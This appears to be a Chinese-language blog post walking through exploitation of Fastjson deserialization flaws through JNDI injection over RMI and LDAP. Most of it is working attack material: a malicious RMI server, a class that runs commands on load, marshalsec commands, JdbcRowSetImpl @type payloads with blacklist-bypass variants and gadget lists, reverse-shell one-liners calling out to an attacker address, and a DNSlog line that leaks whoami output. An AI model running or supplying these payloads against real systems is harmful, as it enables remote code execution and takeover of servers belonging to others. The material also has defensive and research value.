赞
踩
## 1.FastJson 简介 ##### fastjson.jar包原始下载地址:https://github.com/alibaba/fastjson ##### fastjson用于将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBea...
- 将json字符串转化为json对象
- 在net.sf.json中是这么做的
- JSONObject obj = new JSONObject().fromObject(jsonStr);//将json字符串转换为json对象
- 在fastjson中是这么做的
- JSONObject obj=JSON.parseObject(jsonStr);//将json字符串转换为json对象
DNS、LDAP、CORBA对象服务、RMI
- import com.sun.jndi.rmi.registry.ReferenceWrapper;
- import javax.naming.Reference;
- import java.rmi.registry.LocateRegistry;
- import java.rmi.registry.Registry;
- public class RMIServer {
- public static void main(String args[]) throws Exception {
- Registry registry = LocateRegistry.createRegistry(1099);
- // Reference需要传入三个参数(className,factory,factoryLocation)
- // 第一个参数随意填写即可,第二个参数填写我们http服务下的类名,第三个参数填写我们的远程地址
- Reference refObj = new Reference("Evil", "EvilObject", "http://127.0.0.1:8000/");
- // ReferenceWrapper包裹Reference类,使其能够通过RMI进行远程访问
- ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
- registry.bind("refObj", refObjWrapper);
- }
- }
- import javax.naming.Context;
- import javax.naming.InitialContext;
- import javax.naming.NamingException;
- public class JNDIClient {
- public static void main(String[] args) throws Exception{
- try {
- Context ctx = new InitialContext();
- ctx.lookup("rmi://localhost:8000/refObj");
- }
- catch (NamingException e) {
- e.printStackTrace();
- }
- }
- }
- 1.首先开启HTTP服务器,并将我们的恶意类放在目录下
- 2.开启恶意RMI服务器
- 3.攻击者控制url参数为上一步开启的恶意RMI服务器地址
- 4.恶意RMI服务器返回ReferenceWrapper类
- 5.目标(JNDI_Client)在执行lookup操作的时候,在decodeObject中将ReferenceWrapper变成Reference类,然后远程加载并实例化我们的Factory类(即远程加载我们HTTP服务器上的恶意类),在实例化时触发静态代码片段中的恶意代码
- 1.反序列化常用的两种利用方式,一种是基于rmi,一种是基于ldap。
- 2.RMI是一种行为,指的是Java远程方法调用。
- 3.JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,通过名称等去找到相关的对象,并把它下载到客户端中来。
- 4.ldap指轻量级目录服务协议。
- 基于rmi的利用方式:适用jdk版本:JDK 6u132,JDK 7u131,JDK 8u121之前;
- 在jdk8u122的时候,加了反序列化白名单的机制,关闭了rmi远程加载代码。
- 基于ldap的利用方式,适用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前。
- 在Java 8u191更新中,Oracle对LDAP向量设置了相同的限制,并发布了CVE-2018-3149,关闭了JNDI远程类加载。
- 可以看到ldap的利用范围是比rmi要大的,实战情况下推荐使用ldap方法进行利用。
Fastjson < 1.2.25
- docker-compose up -d
- docker ps
curl http://192.168.9.234:8090/ -H "Content-Type: application/json" --data '{"name":"zcc", "age":18}'
- cd /opt
- curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
- tar zxvf jdk-8u20-linux-x64.tar.gz
- rm -rf /usr/bin/java*
- ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
- javac -version
- java -version
- import java.lang.Runtime;
- import java.lang.Process;
- public class zcc{
- static {
- try {
- Runtime rt = Runtime.getRuntime();
- String[] commands = {"touch", "/tmp/zcctest"};
- Process pc = rt.exec(commands);
- pc.waitFor();
- } catch (Exception e) {
- // do nothing
- }
- }
- }
javac zcc.java
python -m SimpleHTTPServer 80
git clone https://github.com/mbechler/marshalsec.git
apt-get install maven
mvn clean package -DskipTests
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.10.65/#zcc" 9999
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.10.65/#zcc" 9999
- {
- "b":{
- "@type":"com.sun.rowset.JdbcRowSetImpl",
- "dataSourceName":"rmi://192.168.10.65:9999/zcc",
- "autoCommit":true
- }
- }
http://www.dnslog.cn/
"/bin/sh","-c","ping user.'whoami'.jeejay.dnslog.cn"
- "/bin/bash","-c","exec 5<>/dev/tcp/192.168.10.65/8899;cat <&5 | while read line; do $line 2>&5 >&5; done"
- 或者
- "/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.10.65/1234 0>&1"
Fastjson < 1.2.47
- // javac TouchFile.java
- import java.lang.Runtime;
- import java.lang.Process;
- public class zcc {
- static {
- try {
- Runtime rt = Runtime.getRuntime();
- String[] commands = {"touch", "/tmp/zcctest111"};
- Process pc = rt.exec(commands);
- pc.waitFor();
- } catch (Exception e) {
- // do nothing
- }
- }
- }
python -m SimpleHTTPServer 8080
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.10.65/#zcc" 9999
- {
- "a":{
- "@type":"java.lang.Class",
- "val":"com.sun.rowset.JdbcRowSetImpl"
- },
- "b":{
- "@type":"com.sun.rowset.JdbcRowSetImpl",
- "dataSourceName":"rmi://192.168.10.65:9999/zcc",
- "autoCommit":true
- }
- }
"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.10.65/8899 0>&1"
- {
- "@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
- "dataSourceName":"rmi://x.x.x.x:9999/rce_1_2_24_exploit",
- "autoCommit":true
- }
- 原类名:com.sun.rowset.JdbcRowSetImpl
- 绕过:LLcom.sun.rowset.JdbcRowSetImpl;;
- {
- "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
- "dataSourceName":"rmi://x.x.x.x:9999/exp",
- "autoCommit":true
- }
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/Exploit"}}
- {
- "a": {
- "@type": "java.lang.Class",
- "val": "com.sun.rowset.JdbcRowSetImpl"
- },
- "b": {
- "@type": "com.sun.rowset.JdbcRowSetImpl",
- "dataSourceName": "rmi://x.x.x.x:9999/exp",
- "autoCommit": true
- }
- }
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://x.x.x.x:9999/exploit"}";
- {"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
- {"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
- {"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
- {"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransacti
- on":"ldap://192.168.80.1:1389/Calc"}}
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。